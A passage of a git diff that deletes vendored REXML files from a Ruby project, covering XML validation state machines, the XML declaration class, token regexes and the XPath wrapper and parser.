-      def initialize context
-        super
-        @ord = 0
-      end
-
-      def reset
-        super 
-        @ord = 0
-      end
-
-      def next( event )
-        expand_ref_in( @events, @current ) if @events[@current].class == Ref
-        if ( @events[@current].matches?(event) )
-          @current += 1
-          @ord += 1
-          if @events[@current].nil?
-            @current = 0
-            return self
-          elsif @events[@current].kind_of? State
-            @current += 1
-            @events[@current-1].previous = self
-            return @events[@current-1]
-          else
-            return self
-          end
-        else
-          return @previous.pop.next( event ) if @current == 0 and @ord > 0
-          return nil
-        end
-      end
-
-      def matches?( event )
-        @events[@current].matches?(event) || 
-        (@current == 0 and @ord > 0 and @previous[-1].matches?(event))
-      end
-
-      def expected
-        if @current == 0 and @ord > 0
-          return [@previous[-1].expected, @events[0]].flatten
-        else
-          return [@events[@current]]
-        end
-      end
-    end
-
-
-    class Choice < State
-      def initialize context
-        super
-        @choices = []
-      end
-
-      def reset
-        super
-        @events = []
-        @choices.each { |c| c.each { |s| s.reset if s.kind_of? State } }
-      end
-
-      def <<( event )
-        add_event_to_arry( @choices, event )
-      end
-
-      def next( event )
-        # Make the choice if we haven't
-        if @events.size == 0
-          c = 0 ; max = @choices.size
-          while c < max
-            if @choices[c][0].class == Ref
-              expand_ref_in( @choices[c], 0 )
-              @choices += @choices[c]
-              @choices.delete( @choices[c] )
-              max -= 1
-            else
-              c += 1
-            end
-          end
-          @events = @choices.find { |evt| evt[0].matches? event }
-          # Remove the references
-          # Find the events
-        end
-        #puts "In next with #{event.inspect}."
-        #puts "events is #{@events.inspect}"
-        unless @events
-          @events = []
-          return nil
-        end
-        #puts "current = #@current"
-        super
-      end
-
-      def matches?( event )
-        return @events[@current].matches?( event ) if @events.size > 0
-        !@choices.find{|evt| evt[0].matches?(event)}.nil?
-      end
-
-      def expected
-        #puts "IN CHOICE EXPECTED"
-        #puts "EVENTS = #{@events.inspect}"
-        return [@events[@current]] if @events.size > 0
-        return @choices.collect do |x| 
-          if x[0].kind_of? State
-            x[0].expected
-          else
-            x[0]
-          end
-        end.flatten
-      end
-
-      def inspect
-        "< #{to_s} #{@choices.collect{|e| e.collect{|f|f.to_s}.join(', ')}.join(' or ')} >"
-      end
-
-      protected
-      def add_event_to_arry( arry, evt ) 
-        if evt.kind_of? State or evt.class == Ref
-          arry << [evt]
-        elsif evt[0] == :text 
-         if arry[-1] and
-            arry[-1][-1].kind_of?( Event ) and 
-            arry[-1][-1].event_type == :text and @value
-
-            arry[-1][-1].event_arg = evt[1]
-            @value = false
-          end
-        else
-          arry << [] if evt[0] == :start_element
-          arry[-1] << generate_event( evt )
-        end
-      end
-    end
-
-
-    class Interleave < Choice
-      def initialize context
-        super
-        @choice = 0
-      end
-
-      def reset
-        @choice = 0
-      end
-
-      def next_current( event )
-        # Expand references
-        c = 0 ; max = @choices.size
-        while c < max
-          if @choices[c][0].class == Ref
-            expand_ref_in( @choices[c], 0 )
-            @choices += @choices[c]
-            @choices.delete( @choices[c] )
-            max -= 1
-          else
-            c += 1
-          end
-        end
-        @events = @choices[@choice..-1].find { |evt| evt[0].matches? event }
-        @current = 0
-        if @events
-          # reorder the choices
-          old = @choices[@choice]
-          idx = @choices.index( @events )
-          @choices[@choice] = @events
-          @choices[idx] = old
-          @choice += 1
-        end
-        
-       #puts "In next with #{event.inspect}."
-       #puts "events is #{@events.inspect}"
-        @events = [] unless @events
-      end
-
-
-      def next( event )
-        # Find the next series
-        next_current(event) unless @events[@current]
-        return nil unless @events[@current]
-
-        expand_ref_in( @events, @current ) if @events[@current].class == Ref 
-       #puts "In next with #{event.inspect}."
-       #puts "Next (#@current) is #{@events[@current]}"
-        if ( @events[@current].kind_of? State )
-          @current += 1
-          @events[@current-1].previous = self
-          return @events[@current-1].next( event )
-        end
-       #puts "Current isn't a state"
-        return @previous.pop.next( event ) if @events[@current].nil?
-        if ( @events[@current].matches?(event) )
-          @current += 1
-          if @events[@current].nil?
-           #puts "#{inspect[0,5]} 1RETURNING self" unless @choices[@choice].nil?
-            return self unless @choices[@choice].nil?
-           #puts "#{inspect[0,5]} 1RETURNING #{@previous[-1].inspect[0,5]}"
-            return @previous.pop
-          elsif @events[@current].kind_of? State
-            @current += 1
-           #puts "#{inspect[0,5]} 2RETURNING (#{@current-1}) #{@events[@current-1].inspect[0,5]}; on return, next is #{@events[@current]}"
-            @events[@current-1].previous = self
-            return @events[@current-1]
-          else
-           #puts "#{inspect[0,5]} RETURNING self w/ next(#@current) = #{@events[@current]}"
-            return self
-          end
-        else
-          return nil
-        end
-      end
-
-      def matches?( event )
-        return @events[@current].matches?( event ) if @events[@current]
-        !@choices[@choice..-1].find{|evt| evt[0].matches?(event)}.nil?
-      end
-
-      def expected
-        #puts "IN CHOICE EXPECTED"
-        #puts "EVENTS = #{@events.inspect}"
-        return [@events[@current]] if @events[@current]
-        return @choices[@choice..-1].collect do |x| 
-          if x[0].kind_of? State
-            x[0].expected
-          else
-            x[0]
-          end
-        end.flatten
-      end
-
-      def inspect
-        "< #{to_s} #{@choices.collect{|e| e.collect{|f|f.to_s}.join(', ')}.join(' and ')} >"
-      end
-    end
-
-    class Ref
-      def initialize value
-        @value = value
-      end
-      def to_s
-        @value
-      end
-      def inspect
-        "{#{to_s}}"
-      end
-    end
-  end
-end
diff --git a/vendor/plugins/rexml/lib/rexml/validation/validation.rb b/vendor/plugins/rexml/lib/rexml/validation/validation.rb
deleted file mode 100644
index 93f5bfb3..00000000
--- a/vendor/plugins/rexml/lib/rexml/validation/validation.rb
+++ /dev/null
@@ -1,155 +0,0 @@
-require 'rexml/validation/validationexception'
-
-module REXML
-  module Validation
-    module Validator
-      NILEVENT = [ nil ]
-      def reset
-        @current = @root
-        @root.reset
-        @root.previous = true
-        @attr_stack = []
-        self
-      end
-      def dump
-        puts @root.inspect
-      end
-      def validate( event ) 
-        #puts "Current: #@current"
-        #puts "Event: #{event.inspect}"
-        @attr_stack = [] unless defined? @attr_stack
-        match = @current.next(event)
-        raise ValidationException.new( "Validation error.  Expected: "+
-          @current.expected.join( " or " )+" from #{@current.inspect} "+
-          " but got #{Event.new( event[0], event[1] ).inspect}" ) unless match
-        @current = match
-
-        # Check for attributes
-        case event[0]
-        when :start_element
-          #puts "Checking attributes"
-          @attr_stack << event[2]
-          begin
-            sattr = [:start_attribute, nil]
-            eattr = [:end_attribute]
-            text = [:text, nil]
-            k,v = event[2].find { |key,value| 
-              sattr[1] = key
-              #puts "Looking for #{sattr.inspect}"
-              m = @current.next( sattr )
-              #puts "Got #{m.inspect}"
-              if m 
-                # If the state has text children...
-                #puts "Looking for #{eattr.inspect}"
-                #puts "Expect #{m.expected}"
-                if m.matches?( eattr )
-                  #puts "Got end"
-                  @current = m
-                else
-                  #puts "Didn't get end"
-                  text[1] = value
-                  #puts "Looking for #{text.inspect}"
-                  m = m.next( text )
-                  #puts "Got #{m.inspect}"
-                  text[1] = nil
-                  return false unless m
-                  @current = m if m
-                end
-                m = @current.next( eattr )
-                if m
-                  @current = m
-                  true
-                else
-                  false
-                end
-              else
-                false
-              end
-            }
-            event[2].delete(k) if k
-          end while k
-        when :end_element
-          attrs = @attr_stack.pop
-          raise ValidationException.new( "Validation error.  Illegal "+
-            " attributes: #{attrs.inspect}") if attrs.length > 0
-        end
-      end
-    end
-
-    class Event
-      def initialize(event_type, event_arg=nil )
-        @event_type = event_type
-        @event_arg = event_arg
-      end
-
-      attr_reader :event_type
-      attr_accessor :event_arg
-
-      def done?
-        @done
-      end
-
-      def single?
-        return (@event_type != :start_element and @event_type != :start_attribute)
-      end
-
-      def matches?( event )
-        #puts "#@event_type =? #{event[0]} && #@event_arg =? #{event[1]} "
-        return false unless event[0] == @event_type
-        case event[0]
-        when nil
-          return true
-        when :start_element
-          return true if event[1] == @event_arg
-        when :end_element
-          return true
-        when :start_attribute
-          return true if event[1] == @event_arg
-        when :end_attribute
-          return true
-        when :end_document
-          return true
-        when :text
-          return (@event_arg.nil? or @event_arg == event[1])
-=begin
-        when :processing_instruction
-          false
-        when :xmldecl
-          false
-        when :start_doctype
-          false
-        when :end_doctype
-          false
-        when :externalentity
-          false
-        when :elementdecl
-          false
-        when :entity
-          false
-        when :attlistdecl
-          false
-        when :notationdecl
-          false
-        when :end_doctype
-          false
-=end
-        else
-          false
-        end
-      end
-
-      def ==( other )
-        return false unless other.kind_of? Event
-        @event_type == other.event_type and @event_arg == other.event_arg
-      end
-
-      def to_s
-        inspect
-      end
-
-      def inspect
-        "#{@event_type.inspect}( #@event_arg )"
-      end
-    end
-  end
-end
diff --git a/vendor/plugins/rexml/lib/rexml/validation/validationexception.rb b/vendor/plugins/rexml/lib/rexml/validation/validationexception.rb
deleted file mode 100644
index 4723d9e4..00000000
--- a/vendor/plugins/rexml/lib/rexml/validation/validationexception.rb
+++ /dev/null
@@ -1,9 +0,0 @@
-module REXML
-  module Validation
-    class ValidationException < RuntimeError
-      def initialize msg
-        super
-      end
-    end
-  end
-end
diff --git a/vendor/plugins/rexml/lib/rexml/xmldecl.rb b/vendor/plugins/rexml/lib/rexml/xmldecl.rb
deleted file mode 100644
index 427eb78c..00000000
--- a/vendor/plugins/rexml/lib/rexml/xmldecl.rb
+++ /dev/null
@@ -1,119 +0,0 @@
-require 'rexml/encoding'
-require 'rexml/source'
-
-module REXML
-	# NEEDS DOCUMENTATION
-	class XMLDecl < Child
-		include Encoding
-
-		DEFAULT_VERSION = "1.0";
-		DEFAULT_ENCODING = "UTF-8";
-		DEFAULT_STANDALONE = "no";
-		START = '<\?xml';
-		STOP = '\?>';
-
-		attr_accessor :version, :standalone
-    attr_reader :writeencoding, :writethis
-
-		def initialize(version=DEFAULT_VERSION, encoding=nil, standalone=nil)
-      @writethis = true
-      @writeencoding = !encoding.nil?
-			if version.kind_of? XMLDecl
-				super()
-				@version = version.version
-				self.encoding = version.encoding
-        @writeencoding = version.writeencoding
-				@standalone = version.standalone
-			else
-				super()
-				@version = version
-				self.encoding = encoding
-				@standalone = standalone
-			end
-			@version = DEFAULT_VERSION if @version.nil?
-		end
-
-		def clone
-			XMLDecl.new(self)
-		end
-
-    # indent::
-    #   Ignored.  There must be no whitespace before an XML declaration
-    # transitive::
-    #   Ignored
-    # ie_hack::
-    #   Ignored
-		def write(writer, indent=-1, transitive=false, ie_hack=false)
-      return nil unless @writethis or writer.kind_of? Output
-			writer << START.sub(/\\/u, '')
-      if writer.kind_of? Output
-        writer << " #{content writer.encoding}"
-      else
-        writer << " #{content encoding}"
-      end
-			writer << STOP.sub(/\\/u, '')
-		end
-
-		def ==( other )
-		  other.kind_of?(XMLDecl) and
-		  other.version == @version and
-		  other.encoding == self.encoding and
-		  other.standalone == @standalone
-		end
-
-		def xmldecl version, encoding, standalone
-			@version = version
-			self.encoding = encoding
-			@standalone = standalone
-		end
-
-		def node_type
-			:xmldecl
-		end
-
-		alias :stand_alone? :standalone
-    alias :old_enc= :encoding=
-
-    def encoding=( enc )
-      if enc.nil?
-        self.old_enc = "UTF-8"
-        @writeencoding = false
-      else
-        self.old_enc = enc
-        @writeencoding = true
-      end
-      self.dowrite
-    end
-
-    # Only use this if you do not want the XML declaration to be written;
-    # this object is ignored by the XML writer.  Otherwise, instantiate your
-    # own XMLDecl and add it to the document.
-    #
-    # Note that XML 1.1 documents *must* include an XML declaration
-    def XMLDecl.default
-      rv = XMLDecl.new( "1.0" )
-      rv.nowrite
-      rv
-    end
-
-    def nowrite
-      @writethis = false
-    end
-
-    def dowrite
-      @writethis = true
-    end
-
-    def inspect
-      START.sub(/\\/u, '') + " ... " + STOP.sub(/\\/u, '')
-    end
-
-		private
-		def content(enc)
-			rv = "version='#@version'"
-			rv << " encoding='#{enc}'" if @writeencoding || enc !~ /utf-8/i
-			rv << " standalone='#@standalone'" if @standalone
-			rv
-		end
-	end
-end
diff --git a/vendor/plugins/rexml/lib/rexml/xmltokens.rb b/vendor/plugins/rexml/lib/rexml/xmltokens.rb
deleted file mode 100644
index 6bbe5b07..00000000
--- a/vendor/plugins/rexml/lib/rexml/xmltokens.rb
+++ /dev/null
@@ -1,18 +0,0 @@
-module REXML
-	# Defines a number of tokens used for parsing XML.  Not for general
-	# consumption.
-	module XMLTokens
-		NCNAME_STR= '[\w:][\-\w\d.]*'
-		NAME_STR= "(?:#{NCNAME_STR}:)?#{NCNAME_STR}"
-
-		NAMECHAR = '[\-\w\d\.:]'
-		NAME = "([\\w:]#{NAMECHAR}*)"
-		NMTOKEN = "(?:#{NAMECHAR})+"
-		NMTOKENS = "#{NMTOKEN}(\\s+#{NMTOKEN})*"
-		REFERENCE = "(?:&#{NAME};|&#\\d+;|&#x[0-9a-fA-F]+;)"
-
-		#REFERENCE = "(?:#{ENTITYREF}|#{CHARREF})"
-		#ENTITYREF = "&#{NAME};"
-		#CHARREF = "&#\\d+;|&#x[0-9a-fA-F]+;"
-	end
-end
diff --git a/vendor/plugins/rexml/lib/rexml/xpath.rb b/vendor/plugins/rexml/lib/rexml/xpath.rb
deleted file mode 100644
index 939399e2..00000000
--- a/vendor/plugins/rexml/lib/rexml/xpath.rb
+++ /dev/null
@@ -1,66 +0,0 @@
-require 'rexml/functions'
-require 'rexml/xpath_parser'
-
-module REXML
-	# Wrapper class.  Use this class to access the XPath functions.
-	class XPath
-		include Functions
-		EMPTY_HASH = {}
-
-		# Finds and returns the first node that matches the supplied xpath.
-		# element::
-		# 	The context element
-		# path::
-		# 	The xpath to search for.  If not supplied or nil, returns the first
-		# 	node matching '*'.
-		# namespaces::
-		# 	If supplied, a Hash which defines a namespace mapping.
-		#
-		#  XPath.first( node )
-		#  XPath.first( doc, "//b"} )
-		#  XPath.first( node, "a/x:b", { "x"=>"http://doofus" } )
-    def XPath::first element, path=nil, namespaces=nil, variables={}
-      raise "The namespaces argument, if supplied, must be a hash object." unless namespaces.nil? or namespaces.kind_of?(Hash)
-      raise "The variables argument, if supplied, must be a hash object." unless variables.kind_of?(Hash)
-			parser = XPathParser.new
-			parser.namespaces = namespaces
-			parser.variables = variables
-			path = "*" unless path
-			element = [element] unless element.kind_of? Array
-			parser.parse(path, element).flatten[0]
-		end
-
-		# Itterates over nodes that match the given path, calling the supplied
-		# block with the match.
-		# element::
-		#   The context element
-		# path::
-		#   The xpath to search for.  If not supplied or nil, defaults to '*'
-		# namespaces::
-		# 	If supplied, a Hash which defines a namespace mapping
-		#
-		#  XPath.each( node ) { |el| ... }
-		#  XPath.each( node, '/*[@attr='v']' ) { |el| ... }
-		#  XPath.each( node, 'ancestor::x' ) { |el| ... }
-		def XPath::each element, path=nil, namespaces=nil, variables={}, &block
-      raise "The namespaces argument, if supplied, must be a hash object." unless namespaces.nil? or namespaces.kind_of?(Hash)
-      raise "The variables argument, if supplied, must be a hash object." unless variables.kind_of?(Hash)
-			parser = XPathParser.new
-			parser.namespaces = namespaces
-			parser.variables = variables
-			path = "*" unless path
-			element = [element] unless element.kind_of? Array
-			parser.parse(path, element).each( &block )
-		end
-
-		# Returns an array of nodes matching a given XPath.  
-		def XPath::match element, path=nil, namespaces=nil, variables={}
-			parser = XPathParser.new
-			parser.namespaces = namespaces
-			parser.variables = variables
-			path = "*" unless path
-			element = [element] unless element.kind_of? Array
-			parser.parse(path,element)
-		end
-	end
-end
diff --git a/vendor/plugins/rexml/lib/rexml/xpath_parser.rb b/vendor/plugins/rexml/lib/rexml/xpath_parser.rb
deleted file mode 100644
index 4275c2db..00000000
--- a/vendor/plugins/rexml/lib/rexml/xpath_parser.rb
+++ /dev/null
@@ -1,792 +0,0 @@
-require 'rexml/namespace'
-require 'rexml/xmltokens'
-require 'rexml/attribute'
-require 'rexml/syncenumerator'
-require 'rexml/parsers/xpathparser'
-
-class Object
-  def dclone
-    clone
-  end
-end
-class Symbol
-  def dclone ; self ; end
-end
-class Fixnum
-  def dclone ; self ; end
-end
-class Float
-  def dclone ; self ; end
-end
-class Array
-  def dclone
-    klone = self.clone
-    klone.clear
-    self.each{|v| klone << v.dclone}
-    klone
-  end
-end
-
-module REXML
-  # You don't want to use this class.  Really.  Use XPath, which is a wrapper
-  # for this class.  Believe me.  You don't want to poke around in here.
-  # There is strange, dark magic at work in this code.  Beware.  Go back!  Go
-  # back while you still can!
-  class XPathParser
-    include XMLTokens
-    LITERAL    = /^'([^']*)'|^"([^"]*)"/u
-
-    def initialize( )
-      @parser = REXML::Parsers::XPathParser.new
-      @namespaces = nil
-      @variables = {}
-    end
-
-    def namespaces=( namespaces={} )
-      Functions::namespace_context = namespaces
-      @namespaces = namespaces
-    end
-
-    def variables=( vars={} )
-      Functions::variables = vars
-      @variables = vars
-    end
-
-    def parse path, nodeset
-     #puts "#"*40
-     path_stack = @parser.parse( path )
-     #puts "PARSE: #{path} => #{path_stack.inspect}"
-     #puts "PARSE: nodeset = #{nodeset.inspect}"
-     match( path_stack, nodeset )
-    end
-
-    def get_first path, nodeset
-     #puts "#"*40
-     path_stack = @parser.parse( path )
-     #puts "PARSE: #{path} => #{path_stack.inspect}"
-     #puts "PARSE: nodeset = #{nodeset.inspect}"
-     first( path_stack, nodeset )
-    end
-
-    def predicate path, nodeset
-      path_stack = @parser.parse( path )
-      expr( path_stack, nodeset )
-    end
-
-    def []=( variable_name, value )
-      @variables[ variable_name ] = value
-    end
-
-
-    # Performs a depth-first (document order) XPath search, and returns the
-    # first match.  This is the fastest, lightest way to return a single result.
-    #
-    # FIXME: This method is incomplete!
-    def first( path_stack, node )
-      #puts "#{depth}) Entering match( #{path.inspect}, #{tree.inspect} )"
-      return nil if path.size == 0
-
-      case path[0]
-      when :document
-        # do nothing 
-        return first( path[1..-1], node )
-      when :child
-        for c in node.children
-          #puts "#{depth}) CHILD checking #{name(c)}"
-          r = first( path[1..-1], c )
-          #puts "#{depth}) RETURNING #{r.inspect}" if r
-          return r if r
-        end
-      when :qname
-        name = path[2]
-        #puts "#{depth}) QNAME #{name(tree)} == #{name} (path => #{path.size})"
-        if node.name == name
-          #puts "#{depth}) RETURNING #{tree.inspect}" if path.size == 3
-          return node if path.size == 3
-          return first( path[3..-1], node )
-        else
-          return nil
-        end
-      when :descendant_or_self
-        r = first( path[1..-1], node )
-        return r if r
-        for c in node.children
-          r = first( path, c )
-          return r if r
-        end
-      when :node
-        return first( path[1..-1], node )
-      when :any
-        return first( path[1..-1], node )
-      end
-      return nil
-    end
-
-
-    def match( path_stack, nodeset ) 
-      #puts "MATCH: path_stack = #{path_stack.inspect}"
-      #puts "MATCH: nodeset = #{nodeset.inspect}"
-      r = expr( path_stack, nodeset )
-      #puts "MAIN EXPR => #{r.inspect}"
-      r
-    end
-
-    private
-
-
-    # Returns a String namespace for a node, given a prefix
-    # The rules are:
-    # 
-    #  1. Use the supplied namespace mapping first.
-    #  2. If no mapping was supplied, use the context node to look up the namespace
-    def get_namespace( node, prefix )
-      if @namespaces
-        return @namespaces[prefix] || ''
-      else
-        return node.namespace( prefix ) if node.node_type == :element
-        return ''
-      end
-    end
-
-
-    # Expr takes a stack of path elements and a set of nodes (either a Parent
-    # or an Array and returns an Array of matching nodes
-    ALL = [ :attribute, :element, :text, :processing_instruction, :comment ]
-    ELEMENTS = [ :element ]
-    def expr( path_stack, nodeset, context=nil )
-      #puts "#"*15
-      #puts "In expr with #{path_stack.inspect}"
-      #puts "Returning" if path_stack.length == 0 || nodeset.length == 0
-      node_types = ELEMENTS
-      return nodeset if path_stack.length == 0 || nodeset.length == 0
-      while path_stack.length > 0
-        #puts "#"*5
-        #puts "Path stack = #{path_stack.inspect}"
-        #puts "Nodeset is #{nodeset.inspect}"
-        if nodeset.length == 0
-          path_stack.clear
-          return []
-        end
-        case (op = path_stack.shift)
-        when :document
-          nodeset = [ nodeset[0].root_node ]
-          #puts ":document, nodeset = #{nodeset.inspect}"
-
-        when :qname
-          #puts "IN QNAME"
-          prefix = path_stack.shift
-          name = path_stack.shift
-          nodeset.delete_if do |node|
-            # FIXME: This DOUBLES the time XPath searches take
-            ns = get_namespace( node, prefix )
-            #puts "NS = #{ns.inspect}"
-            #puts "node.node_type == :element => #{node.node_type == :element}"
-            if node.node_type == :element
-              #puts "node.name == #{name} => #{node.name == name}"
-              if node.name == name
-                #puts "node.namespace == #{ns.inspect} => #{node.namespace == ns}"
-              end
-            end
-            !(node.node_type == :element and 
-              node.name == name and 
-              node.namespace == ns )
-          end
-          node_types = ELEMENTS
-
-        when :any
-          #puts "ANY 1: nodeset = #{nodeset.inspect}"
-          #puts "ANY 1: node_types = #{node_types.inspect}"
-          nodeset.delete_if { |node| !node_types.include?(node.node_type) }
-          #puts "ANY 2: nodeset = #{nodeset.inspect}"
-
-        when :self
-          # This space left intentionally blank
-
-        when :processing_instruction
-          target = path_stack.shift
-          nodeset.delete_if do |node|
-            (node.node_type != :processing_instruction) or 
-            ( target!='' and ( node.target != target ) )
-          end
-
-        when :text
-          nodeset.delete_if { |node| node.node_type != :text }
-
-        when :comment
-          nodeset.delete_if { |node| node.node_type != :comment }
-
-        when :node
-          # This space left intentionally blank
-          node_types = ALL
-
-        when :child
-          new_nodeset = []
-          nt = nil
-          nodeset.each do |node|
-            nt = node.node_type
-            new_nodeset += node.children if nt == :element or nt == :document
-          end
-          nodeset = new_nodeset
-          node_types = ELEMENTS
-
-        when :literal
-          return path_stack.shift
-        
-        when :attribute
-          new_nodeset = []
-          case path_stack.shift
-          when :qname
-            prefix = path_stack.shift
-            name = path_stack.shift
-            for element in nodeset
-              if element.node_type == :element
-                #puts "Element name = #{element.name}"
-                #puts "get_namespace( #{element.inspect}, #{prefix} ) = #{get_namespace(element, prefix)}"
-                attrib = element.attribute( name, get_namespace(element, prefix) )
-                #puts "attrib = #{attrib.inspect}"
-                new_nodeset << attrib if attrib
-              end
-            end
-          when :any
-            #puts "ANY"
-            for element in nodeset
-              if element.node_type == :element
-                new_nodeset += element.attributes.to_a
-              end
-            end
-          end
-          nodeset = new_nodeset
-
-        when :parent
-          #puts "PARENT 1: nodeset = #{nodeset}"
-          nodeset = nodeset.collect{|n| n.parent}.compact
-          #nodeset = expr(path_stack.dclone, nodeset.collect{|n| n.parent}.compact)
-          #puts "PARENT 2: nodeset = #{nodeset.inspect}"
-          node_types = ELEMENTS
-
-        when :ancestor
-          new_nodeset = []
-          nodeset.each do |node|
-            while node.parent
-              node = node.parent
-              new_nodeset << node unless new_nodeset.include? node
-            end
-          end
-          nodeset = new_nodeset
-          node_types = ELEMENTS
-
-        when :ancestor_or_self
-          new_nodeset = []
-          nodeset.each do |node|
-            if node.node_type == :element
-              new_nodeset << node
-              while ( node.parent )
-                node = node.parent
-                new_nodeset << node unless new_nodeset.include? node
-              end
-            end
-          end
-          nodeset = new_nodeset
-          node_types = ELEMENTS
-
-        when :predicate
-          new_nodeset = []
-          subcontext = { :size => nodeset.size }
-          pred = path_stack.shift
-          nodeset.each_with_index { |node, index|
-            subcontext[ :node ] = node
-            #puts "PREDICATE SETTING CONTEXT INDEX TO #{index+1}"
-            subcontext[ :index ] = index+1
-            pc = pred.dclone
-            #puts "#{node.hash}) Recursing with #{pred.inspect} and [#{node.inspect}]"
-            result = expr( pc, [node], subcontext )
-            result = result[0] if result.kind_of? Array and result.length == 1
-            #puts "#{node.hash}) Result = #{result.inspect} (#{result.class.name})"
-            if result.kind_of? Numeric
-              #puts "Adding node #{node.inspect}" if result == (index+1)
-              new_nodeset << node if result == (index+1)
-            elsif result.instance_of? Array
-              if result.size > 0 and result.inject(false) {|k,s| s or k}
-                #puts "Adding node #{node.inspect}" if result.size > 0
-                new_nodeset << node if result.size > 0
-              end
-            else
-              #puts "Adding node #{node.inspect}" if result
-              new_nodeset << node if result
-            end
-          }
-          #puts "New nodeset = #{new_nodeset.inspect}"
-          #puts "Path_stack  = #{path_stack.inspect}"
-          nodeset = new_nodeset
-=begin
-          predicate = path_stack.shift
-          ns = nodeset.clone
-          result = expr( predicate, ns )
-          #puts "Result = #{result.inspect} (#{result.class.name})"
-          #puts "nodeset = #{nodeset.inspect}"
-          if result.kind_of? Array
-            nodeset = result.zip(ns).collect{|m,n| n if m}.compact
-          else
-            nodeset = result ? nodeset : []
-          end
-          #puts "Outgoing NS = #{nodeset.inspect}"
-=end
-
-        when :descendant_or_self
-          rv = descendant_or_self( path_stack, nodeset )
-          path_stack.clear
-          nodeset = rv
-          node_types = ELEMENTS
-
-        when :descendant
-          results = []
-          nt = nil
-          nodeset.each do |node|
-            nt = node.node_type
-            results += expr( path_stack.dclone.unshift( :descendant_or_self ),
-              node.children ) if nt == :element or nt == :document
-          end
-          nodeset = results
-          node_types = ELEMENTS
-
-        when :following_sibling
-          #puts "FOLLOWING_SIBLING 1: nodeset = #{nodeset}"
-          results = []
-          nodeset.each do |node|
-            next if node.parent.nil?
-            all_siblings = node.parent.children
-            current_index = all_siblings.index( node )
-            following_siblings = all_siblings[ current_index+1 .. -1 ]
-            results += expr( path_stack.dclone, following_siblings )
-          end
-          #puts "FOLLOWING_SIBLING 2: nodeset = #{nodeset}"
-          nodeset = results
-
-        when :preceding_sibling
-          results = []
-          nodeset.each do |node|
-            next if node.parent.nil?
-            all_siblings = node.parent.children
-            current_index = all_siblings.index( node )
-            preceding_siblings = all_siblings[ 0, current_index ].reverse
-            results += preceding_siblings
-          end
-          nodeset = results
-          node_types = ELEMENTS
-
-        when :preceding
-          new_nodeset = []
-          nodeset.each do |node|
-            new_nodeset += preceding( node )
-          end
-          #puts "NEW NODESET => #{new_nodeset.inspect}"
-          nodeset = new_nodeset
-          node_types = ELEMENTS
-
-        when :following
-          new_nodeset = []
-          nodeset.each do |node|
-            new_nodeset += following( node )
-          end
-          nodeset = new_nodeset
-          node_types = ELEMENTS
-
-        when :namespace
-          #puts "In :namespace"
-          new_nodeset = []
-          prefix = path_stack.shift
-          nodeset.each do |node|
-            if (node.node_type == :element or node.node_type == :attribute)
-              if @namespaces
-                namespaces = @namespaces
-              elsif (node.node_type == :element)
-                namespaces = node.namespaces
-              else
-                namespaces = node.element.namesapces
-              end
-              #puts "Namespaces = #{namespaces.inspect}"
-              #puts "Prefix = #{prefix.inspect}"
-              #puts "Node.namespace = #{node.namespace}"
-              if (node.namespace == namespaces[prefix])
-                new_nodeset << node
-              end
-            end
-          end
-          nodeset = new_nodeset
-
-        when :variable
-          var_name = path_stack.shift
-          return @variables[ var_name ]
-
-        # :and, :or, :eq, :neq, :lt, :lteq, :gt, :gteq
-				# TODO: Special case for :or and :and -- not evaluate the right
-				# operand if the left alone determines result (i.e. is true for
-				# :or and false for :and).
-        when :eq, :neq, :lt, :lteq, :gt, :gteq, :and, :or
-          left = expr( path_stack.shift, nodeset.dup, context )
-          #puts "LEFT => #{left.inspect} (#{left.class.name})"
-          right = expr( path_stack.shift, nodeset.dup, context )
-          #puts "RIGHT => #{right.inspect} (#{right.class.name})"
-          res = equality_relational_compare( left, op, right )
-          #puts "RES => #{res.inspect}"
-          return res
-
-        when :and
-          left = expr( path_stack.shift, nodeset.dup, context )
-          #puts "LEFT => #{left.inspect} (#{left.class.name})"
-          if left == false || left.nil? || !left.inject(false) {|a,b| a | b}
-            return []
-          end
-          right = expr( path_stack.shift, nodeset.dup, context )
-          #puts "RIGHT => #{right.inspect} (#{right.class.name})"
-          res = equality_relational_compare( left, op, right )
-          #puts "RES => #{res.inspect}"
-          return res
-
-        when :div
-          left = Functions::number(expr(path_stack.shift, nodeset, context)).to_f
-          right = Functions::number(expr(path_stack.shift, nodeset, context)).to_f
-          return (left / right)
-
-        when :mod
-          left = Functions::number(expr(path_stack.shift, nodeset, context )).to_f
-          right = Functions::number(expr(path_stack.shift, nodeset, context )).to_f
-          return (left % right)
-
-        when :mult
-          left = Functions::number(expr(path_stack.shift, nodeset, context )).to_f
-          right = Functions::number(expr(path_stack.shift, nodeset, context )).to_f
-          return (left * right)
-
-        when :plus
-          left = Functions::number(expr(path_stack.shift, nodeset, context )).to_f
-          right = Functions::number(expr(path_stack.shift, nodeset, context )).to_f
-          return (left + right)
-
-        when :minus
-          left = Functions::number(expr(path_stack.shift, nodeset, context )).to_f
-          right = Functions::number(expr(path_stack.shift, nodeset, context )).to_f
-          return (left - right)
-
-        when :union
-          left = expr( path_stack.shift, nodeset, context )
-          right = expr( path_stack.shift, nodeset, context )
-          return (left | right)
-
-        when :neg
-          res = expr( path_stack, nodeset, context )
-          return -(res.to_f)
-
-        when :not
-        when :function
-          func_name = path_stack.shift.tr('-','_')
-          arguments = path_stack.shift
-          #puts "FUNCTION 0: #{func_name}(#{arguments.collect{|a|a.inspect}.join(', ')})" 
-          subcontext = context ? nil : { :size => nodeset.size }
-
-          res = []
-          cont = context
-          nodeset.each_with_index { |n, i| 
-            if subcontext
-              subcontext[:node]  = n
-              subcontext[:index] = i
-              cont = subcontext
-            end
-            arg_clone = arguments.dclone
-            args = arg_clone.collect { |arg| 
-              #puts "FUNCTION 1: Calling expr( #{arg.inspect}, [#{n.inspect}] )"
-              expr( arg, [n], cont ) 
-            }
-            #puts "FUNCTION 2: #{func_name}(#{args.collect{|a|a.inspect}.join(', ')})" 
-            Functions.context = cont
-            res << Functions.send( func_name, *args )
-            #puts "FUNCTION 3: #{res[-1].inspect}"
-          }
-          return res
-
-        end
-      end # while
-      #puts "EXPR returning #{nodeset.inspect}"
-      return nodeset
-    end
-
-
-    ##########################################################
-    # FIXME
-    # The next two methods are BAD MOJO!
-    # This is my achilles heel.  If anybody thinks of a better
-    # way of doing this, be my guest.  This really sucks, but 
-    # it is a wonder it works at all.
-    # ########################################################
-    
-    def descendant_or_self( path_stack, nodeset )
-      rs = []
-      #puts "#"*80
-      #puts "PATH_STACK = #{path_stack.inspect}"
-      #puts "NODESET = #{nodeset.collect{|n|n.inspect}.inspect}"
-      d_o_s( path_stack, nodeset, rs )
-      #puts "RS = #{rs.collect{|n|n.inspect}.inspect}"
